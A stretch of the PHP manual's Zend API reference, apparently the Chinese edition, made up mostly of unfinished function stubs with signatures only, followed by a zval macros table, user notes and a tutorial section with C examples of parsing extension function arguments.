There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_rehash | 上一级 | zend_hash_sort


zend_hash_sort

(no version information, might be only in CVS)

zend_hash_sort -- ...

说明

#include <zend_hash.h>

int zend_hash_sort ( HashTable* ht, sort_func_t sort_func, compare_func_t compare_func, int renumber TSRMLS_DC )

...

参数

ht

...

sort_func

...

compare_func

...

renumber TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_reverse_apply | 上一级 | zend_hash_update_current_key_ex


zend_hash_update

(no version information, might be only in CVS)

zend_hash_update -- ...

说明

#include <zend_hash.h>

int zend_hash_update ( HashTable* ht, char* arKey, uint nKeyLength, void* pData, uint nDataSize, void** pDest )

...

参数

ht

...

arKey

...

nKeyLength

...

pData

...

nDataSize

...

pDest

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_update_current_key_ex | 上一级 | zend_is_callable_ex


zend_hash_update_current_key_ex

(no version information, might be only in CVS)

zend_hash_update_current_key_ex -- ...

说明

#include <zend_hash.h>

int zend_hash_update_current_key_ex ( HashTable* ht, int key_type, char* str_index, uint str_length, ulong num_index, HashPosition* pos )

...

参数

ht

...

key_type

...

str_index

...

str_length

...

num_index

...

pos

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_sort | 上一级 | zend_hash_update


zend_is_callable

(no version information, might be only in CVS)

zend_is_callable -- ...

说明

#include <zend_API.h>

zend_bool zend_is_callable ( zval* callable, uint check_flags, char** callable_name )

...

参数

callable

...

check_flags

...

callable_name

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_is_callable_ex | 上一级 | zend_make_callable


zend_is_callable_ex

(no version information, might be only in CVS)

zend_is_callable_ex -- ...

说明

#include <zend_API.h>

zend_bool zend_is_callable_ex ( zval* callable, uint check_flags, char** callable_name, int* callable_name_len, zend_function** fptr_ptr, zval*** zobj_ptr_ptr TSRMLS_DC )

...

参数

callable

...

check_flags

...

callable_name

...

callable_name_len

...

fptr_ptr

...

zobj_ptr_ptr TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_hash_update | 上一级 | zend_is_callable


zend_make_callable

(no version information, might be only in CVS)

zend_make_callable -- ...

说明

#include <zend_API.h>

zend_bool zend_make_callable ( zval* callable, char** callable_name TSRMLS_DC )

...

参数

callable

...

callable_name TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_is_callable | 上一级 | zend_make_printable_zval


zend_make_printable_zval

(no version information, might be only in CVS)

zend_make_printable_zval -- ...

说明

#include <zend.h>

void zend_make_printable_zval ( zval* expr, zval* expr_copy, int* use_copy )

...

参数

expr

...

expr_copy

...

use_copy

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_make_callable | 上一级 | zend_merge_properties


zend_merge_properties

(no version information, might be only in CVS)

zend_merge_properties -- ...

说明

#include <zend_API.h>

void zend_merge_properties ( zval* obj, HashTable* properties, int destroy_ht TSRMLS_DC )

...

参数

obj

...

properties

...

destroy_ht TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_make_printable_zval | 上一级 | zend_message_dispatcher


zend_message_dispatcher

(no version information, might be only in CVS)

zend_message_dispatcher -- ...

说明

#include <zend.h>

void zend_message_dispatcher ( long message, void* data )

...

参数

message

...

data

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_merge_properties | 上一级 | zend_object_create_proxy


zend_object_create_proxy

(no version information, might be only in CVS)

zend_object_create_proxy -- ...

说明

#include <zend_objects_API.h>

zval* zend_object_create_proxy ( zval* object, zval* member TSRMLS_DC )

...

参数

object

...

member TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_message_dispatcher | 上一级 | zend_object_store_ctor_failed


zend_object_store_ctor_failed

(no version information, might be only in CVS)

zend_object_store_ctor_failed -- ...

说明

#include <zend_objects_API.h>

void zend_object_store_ctor_failed ( zval* zobject TSRMLS_DC )

...

参数

zobject TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_object_create_proxy | 上一级 | zend_object_store_get_object


zend_object_store_get_object

(no version information, might be only in CVS)

zend_object_store_get_object -- ...

说明

#include <zend_objects_API.h>

void* zend_object_store_get_object ( zval* object TSRMLS_DC )

...

参数

object TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_object_store_ctor_failed | 上一级 | zend_object_store_set_object


zend_object_store_set_object

(no version information, might be only in CVS)

zend_object_store_set_object -- ...

说明

#include <zend_objects_API.h>

void zend_object_store_set_object ( zval* zobject, void* object TSRMLS_DC )

...

参数

zobject

...

object TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_object_store_get_object | 上一级 | zend_objects_store_add_ref


zend_objects_store_add_ref

(no version information, might be only in CVS)

zend_objects_store_add_ref -- ...

说明

#include <zend_objects_API.h>

void zend_objects_store_add_ref ( zval* object TSRMLS_DC )

...

参数

object TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_object_store_set_object | 上一级 | zend_objects_store_call_destructors


zend_objects_store_call_destructors

(no version information, might be only in CVS)

zend_objects_store_call_destructors -- ...

说明

#include <zend_objects_API.h>

void zend_objects_store_call_destructors ( zend_objects_store* objects TSRMLS_DC )

...

参数

objects TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_objects_store_add_ref | 上一级 | zend_objects_store_clone_obj


zend_objects_store_clone_obj

(no version information, might be only in CVS)

zend_objects_store_clone_obj -- ...

说明

#include <zend_objects_API.h>

zend_object_value zend_objects_store_clone_obj ( zval* object TSRMLS_DC )

...

参数

object TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_objects_store_call_destructors | 上一级 | zend_objects_store_del_ref


zend_objects_store_del_ref

(no version information, might be only in CVS)

zend_objects_store_del_ref -- ...

说明

#include <zend_objects_API.h>

void zend_objects_store_del_ref ( zval* object TSRMLS_DC )

...

参数

object TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_objects_store_clone_obj | 上一级 | zend_objects_store_destroy


zend_objects_store_destroy

(no version information, might be only in CVS)

zend_objects_store_destroy -- ...

说明

#include <zend_objects_API.h>

void zend_objects_store_destroy ( zend_objects_store* objects )

...

参数

objects

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_objects_store_del_ref | 上一级 | zend_objects_store_free_object_storage


zend_objects_store_free_object_storage

(no version information, might be only in CVS)

zend_objects_store_free_object_storage -- ...

说明

#include <zend_objects_API.h>

void zend_objects_store_free_object_storage ( zend_objects_store* objects TSRMLS_DC )

...

参数

objects TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_objects_store_destroy | 上一级 | zend_objects_store_init


zend_objects_store_init

(no version information, might be only in CVS)

zend_objects_store_init -- ...

说明

#include <zend_objects_API.h>

void zend_objects_store_init ( zend_objects_store* objects, zend_uint init_size )

...

参数

objects

...

init_size

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_objects_store_free_object_storage | 上一级 | zend_objects_store_mark_destructed


zend_objects_store_mark_destructed

(no version information, might be only in CVS)

zend_objects_store_mark_destructed -- ...

说明

#include <zend_objects_API.h>

void zend_objects_store_mark_destructed ( zend_objects_store* objects TSRMLS_DC )

...

参数

objects TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_objects_store_init | 上一级 | zend_objects_store_put


zend_objects_store_put

(no version information, might be only in CVS)

zend_objects_store_put -- ...

说明

#include <zend_objects_API.h>

zend_object_handle zend_objects_store_put ( void* object, zend_objects_store_dtor_t dtor, zend_objects_free_object_storage_t storage, zend_objects_store_clone_t clone TSRMLS_DC )

...

参数

object

...

dtor

...

storage

...

clone TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_objects_store_mark_destructed | 上一级 | zend_output_debug_string


zend_output_debug_string

(no version information, might be only in CVS)

zend_output_debug_string -- ...

说明

#include <zend.h>

void zend_output_debug_string ( zend_bool trigger_break, char* format, ...) ZEND_ATTRIBUTE_FORMAT(printf, 2, 3 )

...

参数

trigger_break

...

format

...

ZEND_ATTRIBUTE_FORMAT(printf

...

2

...

3

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_objects_store_put | 上一级 | zend_parse_method_parameters_ex


zend_parse_method_parameters

(no version information, might be only in CVS)

zend_parse_method_parameters -- ...

说明

#include <zend_API.h>

int zend_parse_method_parameters ( int num_args TSRMLS_DC, zval* this_ptr, char* type_spec, ... )

...

参数

num_args TSRMLS_DC

...

this_ptr

...

type_spec

...

...

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_parse_method_parameters_ex | 上一级 | zend_parse_parameters_ex


zend_parse_method_parameters_ex

(no version information, might be only in CVS)

zend_parse_method_parameters_ex -- ...

说明

#include <zend_API.h>

int zend_parse_method_parameters_ex ( int flags, int num_args TSRMLS_DC, zval* this_ptr, char* type_spec, ... )

...

参数

flags

...

num_args TSRMLS_DC

...

this_ptr

...

type_spec

...

...

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_output_debug_string | 上一级 | zend_parse_method_parameters


zend_parse_parameters

(no version information, might be only in CVS)

zend_parse_parameters -- ...

说明

#include <zend_API.h>

int zend_parse_parameters ( int num_args TSRMLS_DC, char* type_spec, ... )

...

参数

num_args TSRMLS_DC

...

type_spec

...

...

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_parse_parameters_ex | 上一级 | zend_print_flat_zval_r


zend_parse_parameters_ex

(no version information, might be only in CVS)

zend_parse_parameters_ex -- ...

说明

#include <zend_API.h>

int zend_parse_parameters_ex ( int num_args TSRMLS_DC, char* type_spec, ... )

...

参数

num_args TSRMLS_DC

...

type_spec

...

...

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_parse_method_parameters | 上一级 | zend_parse_parameters


zend_print_flat_zval_r

(no version information, might be only in CVS)

zend_print_flat_zval_r -- ...

说明

#include <zend.h>

void zend_print_flat_zval_r ( zval* expr TSRMLS_DC )

...

参数

expr TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_parse_parameters | 上一级 | zend_print_zval_ex


zend_print_zval

(no version information, might be only in CVS)

zend_print_zval -- ...

说明

#include <zend.h>

int zend_print_zval ( zval* expr, int indent )

...

参数

expr

...

indent

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_print_zval_r | 上一级 | zend_read_property


zend_print_zval_ex

(no version information, might be only in CVS)

zend_print_zval_ex -- ...

说明

#include <zend.h>

int zend_print_zval_ex ( zend_write_func_t write_func, zval* expr, int indent )

...

参数

write_func

...

expr

...

indent

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_print_flat_zval_r | 上一级 | zend_print_zval_r_ex


zend_print_zval_r

(no version information, might be only in CVS)

zend_print_zval_r -- ...

说明

#include <zend.h>

void zend_print_zval_r ( zval* expr, int indent TSRMLS_DC )

...

参数

expr

...

indent TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_print_zval_r_ex | 上一级 | zend_print_zval


zend_print_zval_r_ex

(no version information, might be only in CVS)

zend_print_zval_r_ex -- ...

说明

#include <zend.h>

void zend_print_zval_r_ex ( zend_write_func_t write_func, zval* expr, int indent TSRMLS_DC )

...

参数

write_func

...

expr

...

indent TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_print_zval_ex | 上一级 | zend_print_zval_r


zend_read_property

(no version information, might be only in CVS)

zend_read_property -- ...

说明

#include <zend_API.h>

zval* zend_read_property ( zend_class_entry* scope, zval* object, char* name, int name_length, zend_bool silent TSRMLS_DC )

...

参数

scope

...

object

...

name

...

name_length

...

silent TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_print_zval | 上一级 | zend_register_functions


zend_register_functions

(no version information, might be only in CVS)

zend_register_functions -- ...

说明

#include <zend_API.h>

int zend_register_functions ( zend_class_entry* scope, zend_function_entry* functions, HashTable* function_table, int type TSRMLS_DC )

...

参数

scope

...

functions

...

function_table

...

type TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_read_property | 上一级 | zend_register_internal_class_ex


zend_register_internal_class

(no version information, might be only in CVS)

zend_register_internal_class -- ...

说明

#include <zend_API.h>

zend_class_entry* zend_register_internal_class ( zend_class_entry* class_entry TSRMLS_DC )

...

参数

class_entry TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_register_internal_class_ex | 上一级 | zend_register_internal_interface


zend_register_internal_class_ex

(no version information, might be only in CVS)

zend_register_internal_class_ex -- ...

说明

#include <zend_API.h>

zend_class_entry* zend_register_internal_class_ex ( zend_class_entry* class_entry, zend_class_entry* parent_ce, char* parent_name TSRMLS_DC )

...

参数

class_entry

...

parent_ce

...

parent_name TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_register_functions | 上一级 | zend_register_internal_class


zend_register_internal_interface

(no version information, might be only in CVS)

zend_register_internal_interface -- ...

说明

#include <zend_API.h>

zend_class_entry* zend_register_internal_interface ( zend_class_entry* orig_class_entry TSRMLS_DC )

...

参数

orig_class_entry TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_register_internal_class | 上一级 | zend_register_internal_module


zend_register_internal_module

(no version information, might be only in CVS)

zend_register_internal_module -- ...

说明

#include <zend_API.h>

zend_module_entry* zend_register_internal_module ( zend_module_entry* module_entry TSRMLS_DC )

...

参数

module_entry TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_register_internal_interface | 上一级 | zend_register_module_ex


zend_register_module

(no version information, might be only in CVS)

zend_register_module -- ...

说明

int zend_register_module ( zend_module_entry *module_entry )

...

参数

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_register_module_ex | 上一级 | zend_reset_all_cv


zend_register_module_ex

(no version information, might be only in CVS)

zend_register_module_ex -- ...

说明

#include <zend_API.h>

zend_module_entry* zend_register_module_ex ( zend_module_entry* module TSRMLS_DC )

...

参数

module TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_register_internal_module | 上一级 | zend_register_module


zend_reset_all_cv

(no version information, might be only in CVS)

zend_reset_all_cv -- ...

说明

#include <zend_API.h>

void zend_reset_all_cv ( HashTable* symbol_table TSRMLS_DC )

...

参数

symbol_table TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_register_module | 上一级 | zend_startup_module_ex


zend_startup_module

(no version information, might be only in CVS)

zend_startup_module -- ...

说明

#include <zend_API.h>

int zend_startup_module ( zend_module_entry* module_entry )

...

参数

module_entry

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_startup_module_ex | 上一级 | zend_startup_modules


zend_startup_module_ex

(no version information, might be only in CVS)

zend_startup_module_ex -- ...

说明

#include <zend_API.h>

int zend_startup_module_ex ( zend_module_entry* module TSRMLS_DC )

...

参数

module TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_reset_all_cv | 上一级 | zend_startup_module


zend_startup_modules

(no version information, might be only in CVS)

zend_startup_modules -- ...

说明

#include <zend_API.h>

int zend_startup_modules ( TSRMLS_D )

...

参数

TSRMLS_D

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_startup_module | 上一级 | zend_unregister_functions


zend_unregister_functions

(no version information, might be only in CVS)

zend_unregister_functions -- ...

说明

#include <zend_API.h>

void zend_unregister_functions ( zend_function_entry* functions, int count, HashTable* function_table TSRMLS_DC )

...

参数

functions

...

count

...

function_table TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_startup_modules | 上一级 | zend_update_class_constants


zend_update_class_constants

(no version information, might be only in CVS)

zend_update_class_constants -- ...

说明

#include <zend_API.h>

void zend_update_class_constants ( zend_class_entry* class_type TSRMLS_DC )

...

参数

class_type TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_unregister_functions | 上一级 | zend_update_property_bool


zend_update_property

(no version information, might be only in CVS)

zend_update_property -- ...

说明

#include <zend_API.h>

void zend_update_property ( zend_class_entry* scope, zval* object, char* name, int name_length, zval* value TSRMLS_DC )

...

参数

scope

...

object

...

name

...

name_length

...

value TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_update_property_stringl | 上一级 | zend_wrong_param_count


zend_update_property_bool

(no version information, might be only in CVS)

zend_update_property_bool -- ...

说明

#include <zend_API.h>

void zend_update_property_bool ( zend_class_entry* scope, zval* object, char* name, int name_length, long value TSRMLS_DC )

...

参数

scope

...

object

...

name

...

name_length

...

value TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_update_class_constants | 上一级 | zend_update_property_double


zend_update_property_double

(no version information, might be only in CVS)

zend_update_property_double -- ...

说明

#include <zend_API.h>

void zend_update_property_double ( zend_class_entry* scope, zval* object, char* name, int name_length, double value TSRMLS_DC )

...

参数

scope

...

object

...

name

...

name_length

...

value TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_update_property_bool | 上一级 | zend_update_property_long


zend_update_property_long

(no version information, might be only in CVS)

zend_update_property_long -- ...

说明

#include <zend_API.h>

void zend_update_property_long ( zend_class_entry* scope, zval* object, char* name, int name_length, long value TSRMLS_DC )

...

参数

scope

...

object

...

name

...

name_length

...

value TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_update_property_double | 上一级 | zend_update_property_null


zend_update_property_null

(no version information, might be only in CVS)

zend_update_property_null -- ...

说明

#include <zend_API.h>

void zend_update_property_null ( zend_class_entry* scope, zval* object, char* name, int name_length TSRMLS_DC )

...

参数

scope

...

object

...

name

...

name_length TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_update_property_long | 上一级 | zend_update_property_string


zend_update_property_string

(no version information, might be only in CVS)

zend_update_property_string -- ...

说明

#include <zend_API.h>

void zend_update_property_string ( zend_class_entry* scope, zval* object, char* name, int name_length, char* value TSRMLS_DC )

...

参数

scope

...

object

...

name

...

name_length

...

value TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_update_property_null | 上一级 | zend_update_property_stringl


zend_update_property_stringl

(no version information, might be only in CVS)

zend_update_property_stringl -- ...

说明

#include <zend_API.h>

void zend_update_property_stringl ( zend_class_entry* scope, zval* object, char* name, int name_length, char* value, int value_length TSRMLS_DC )

...

参数

scope

...

object

...

name

...

name_length

...

value

...

value_length TSRMLS_DC

...

返回值

...

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_update_property_string | 上一级 | zend_update_property


zend_wrong_param_count

(no version information, might be only in CVS)

zend_wrong_param_count -- Generate standard error message for wrong parameter count in function or method call

说明

#include <zend_API.h>

void zend_wrong_param_count ( TSRMLS_D )

zend_wrong_param_count() produces a standard warning message for functions or class methods that have been called with a wrong number of parameters. The function automaticly puts the right function name and class name (if needed) into the error message.

Usually the ZEND_WRONG_PARAM_COUNT() and ZEND_WRONG_PARAM_COUNT_WITH_RETVAL() macros are used to invoke this function instead of calling it immediately as this saves typing the TSRMLS_C argument.

参数

TSRMLS_D

Thread context

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_update_property | 上一级 | zend_zval_type_name


zend_zval_type_name

(no version information, might be only in CVS)

zend_zval_type_name -- Returns the PHP type name for a given zval

说明

#include <zend_API.h>

char* zend_zval_type_name ( zval* arg )

zend_zval_type_name() returns the PHP typename for the current value of the zval pointed to by arg.

参数

arg

A pointer to the zval to be examined.

返回值

A pointer to a static PHP typename string.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zend_wrong_param_count | 上一级 | 扩展 PHP 3


API Macros

A set of macros was introduced into Zend's API that simplify access to zval containers (see 表格 45-19).

表格 45-19. API Macros for Accessing zval Containers

Macro | Refers to
Z_LVAL(zval) | (zval).value.lval
Z_DVAL(zval) | (zval).value.dval
Z_STRVAL(zval) | (zval).value.str.val
Z_STRLEN(zval) | (zval).value.str.len
Z_ARRVAL(zval) | (zval).value.ht
Z_LVAL_P(zval) | (*zval).value.lval
Z_DVAL_P(zval) | (*zval).value.dval
Z_STRVAL_P(zval_p) | (*zval).value.str.val
Z_STRLEN_P(zval_p) | (*zval).value.str.len
Z_ARRVAL_P(zval_p) | (*zval).value.ht
Z_LVAL_PP(zval_pp) | (**zval).value.lval
Z_DVAL_PP(zval_pp) | (**zval).value.dval
Z_STRVAL_PP(zval_pp) | (**zval).value.str.val
Z_STRLEN_PP(zval_pp) | (**zval).value.str.len
Z_ARRVAL_PP(zval_pp) | (**zval).value.ht

add a note add a note User Contributed Notes
k at ailis dot de
06-Apr-2002 07:56
If you are using one of the above macros you definitely want to use one of those convert-functions if you are not sure what data type is stored in the zval:

  convert_to_string(zval_p)
  convert_to_long(zval_p)
  convert_to_double(zval_p)
  convert_to_boolean(zval_p)
  convert_to_array(zval_p)
  convert_to_object(zval_p)

Otherwise you may get undefined results, because Z_STRVAL_P(zval_p) returns nonsense if the zval contains not a string. If you use convert_to_string() before, the value is converted to a string and you can safely access it via the Z_STRVAL* macros.

There are more useful convert-functions:

Resets the zval to NULL:
  convert_to_null(zval_p)

Converts to a long by using a special base:
  convert_to_long_base(zval_p, base)

There are some more functions which may be useful, but I don't know exactly what they are doing. Just take a look at Zend/zend_operaters.h.
k at ailis dot de
06-Apr-2002 07:41
To complete the macro list:

Access an object:
  Z_OBJ(zval)
  Z_OBJ_P(zval)
  Z_OBJ_PP(zval)

Access object property hash table:
  Z_OBJPROP(zval)
  Z_OBJPROP_P(zval)
  Z_OBJPROP_PP(zval)

Access object class entry:
  Z_OBJCE(zval)
  Z_OBJCE_P(zval)
  Z_OBJCE_PP(zval)

Access a ressource (which is fairly the same as Z_LVAL*):
  Z_RESVAL(zval)
  Z_RESVAL_P(zval)
  Z_RESVAL_PP(zval)
k at ailis dot de
06-Apr-2002 07:33
These macros can be used to access the boolean value of a zval. Yes, you can use Z_LVAL* for booleans, too, but these macros also do a type cast to zend_bool:

Z_BVAL(zval)
Z_BVAL_P(zval)
Z_BVAL_PP(zval)
nutbar at innocent dot com
04-Jan-2002 07:51
There are also:

Z_TYPE(zval)
Z_TYPE_P(*zval)
Z_TYPE_PP(**zval)
add a note add a note

后退 | 起点 | 前进
Reference: Some Configuration Macros | 上一级 | API 函数（尚未完成）


Accepting Arguments

One of the most important issues for language extensions is accepting and dealing with data passed via arguments. Most extensions are built to deal with specific input data (or require parameters to perform their specific actions), and function arguments are the only real way to exchange data between the PHP level and the C level. Of course, there's also the possibility of exchanging data using predefined global values (which is also discussed later), but this should be avoided by all means, as it's extremely bad practice.

PHP doesn't make use of any formal function declarations; this is why call syntax is always completely dynamic and never checked for errors. Checking for correct call syntax is left to the user code. For example, it's possible to call a function using only one argument at one time and four arguments the next time - both invocations are syntactically absolutely correct.

Determining the Number of Arguments

Since PHP doesn't have formal function definitions with support for call syntax checking, and since PHP features variable arguments, sometimes you need to find out with how many arguments your function has been called. You can use the ZEND_NUM_ARGS macro in this case. In previous versions of PHP, this macro retrieved the number of arguments with which the function has been called based on the function's hash table entry, ht, which is passed in the INTERNAL_FUNCTION_PARAMETERS list. As ht itself now contains the number of arguments that have been passed to the function, ZEND_NUM_ARGS has been stripped down to a dummy macro (see its definition in zend_API.h). But it's still good practice to use it, to remain compatible with future changes in the call interface. Note: The old PHP equivalent of this macro is ARG_COUNT.

The following code checks for the correct number of arguments:
if(ZEND_NUM_ARGS() != 2) WRONG_PARAM_COUNT;
If the function is not called with two arguments, it exits with an error message. The code snippet above makes use of the tool macro WRONG_PARAM_COUNT, which can be used to generate a standard error message (see 图形 45-3).

图形 45-3. WRONG_PARAM_COUNT in action.

This macro prints a default error message and then returns to the caller. Its definition can also be found in zend_API.h and looks like this:
ZEND_API void wrong_param_count(void);

#define WRONG_PARAM_COUNT { wrong_param_count(); return; }
As you can see, it calls an internal function named wrong_param_count() that's responsible for printing the warning. For details on generating customized error messages, see the later section "Printing Information."

Retrieving Arguments

New parameter parsing API: This chapter documents the new Zend parameter parsing API introduced by Andrei Zmievski. It was introduced in the development stage between PHP 4.0.6 and 4.1.0 .

Parsing parameters is a very common operation and it may get a bit tedious. It would also be nice to have standardized error checking and error messages. Since PHP 4.1.0, there is a way to do just that by using the new parameter parsing API. It greatly simplifies the process of receiving parameteres, but it has a drawback in that it can't be used for functions that expect variable number of parameters. But since the vast majority of functions do not fall into those categories, this parsing API is recommended as the new standard way.

The prototype for parameter parsing function looks like this:
int zend_parse_parameters(int num_args TSRMLS_DC, char *type_spec, ...);
The first argument to this function is supposed to be the number of actual parameters passed to your function, so ZEND_NUM_ARGS() can be used for that. The second parameter should always be TSRMLS_CC macro. The third argument is a string that specifies the number and types of arguments your function is expecting, similar to how printf format string specifies the number and format of the output values it should operate on. And finally the rest of the arguments are pointers to variables which should receive the values from the parameters.

zend_parse_parameters() also performs type conversions whenever possible, so that you always receive the data in the format you asked for. Any type of scalar can be converted to another one, but conversions between complex types (arrays, objects, and resources) and scalar types are not allowed.

If the parameters could be obtained successfully and there were no errors during type conversion, the function will return SUCCESS, otherwise it will return FAILURE. The function will output informative error messages, if the number of received parameters does not match the requested number, or if type conversion could not be performed.

Here are some sample error messages:
Warning - ini_get_all() requires at most 1 parameter, 2 given
     Warning - wddx_deserialize() expects parameter 1 to be string, array given
Of course each error message is accompanied by the filename and line number on which it occurs.

Here is the full list of type specifiers:

  • l - long

  • d - double

  • s - string (with possible null bytes) and its length

  • b - boolean

  • r - resource, stored in zval*

  • a - array, stored in zval*

  • o - object (of any class), stored in zval*

  • O - object (of class specified by class entry), stored in zval*

  • z - the actual zval*

The following characters also have a meaning in the specifier string:

  • | - indicates that the remaining parameters are optional. The storage variables corresponding to these parameters should be initialized to default values by the extension, since they will not be touched by the parsing function if the parameters are not passed.

  • / - the parsing function will call SEPARATE_ZVAL_IF_NOT_REF() on the parameter it follows, to provide a copy of the parameter, unless it's a reference.

  • ! - the parameter it follows can be of specified type or NULL (only applies to a, o, O, r, and z). If NULL value is passed by the user, the storage pointer will be set to NULL.

The best way to illustrate the usage of this function is through examples:
/* Gets a long, a string and its length, and a zval. */
long l;
char *s;
int s_len;
zval *param;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC,
                          "lsz", &l, &s, &s_len, &param) == FAILURE) {
    return;
}

/* Gets an object of class specified by my_ce, and an optional double. */
zval *obj;
double d = 0.5;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC,
                          "O|d", &obj, my_ce, &d) == FAILURE) {
    return;
}

/* Gets an object or null, and an array.
   If null is passed for object, obj will be set to NULL. */
zval *obj;
zval *arr;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "O!a", &obj, &arr) == FAILURE) {
    return;
}

/* Gets a separated array. */
zval *arr;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "a/", &arr) == FAILURE) {
    return;
}

/* Get only the first three parameters (useful for varargs functions). */
zval *z;
zend_bool b;
zval *r;
if (zend_parse_parameters(3, "zbr!", &z, &b, &r) == FAILURE) {
    return;
}

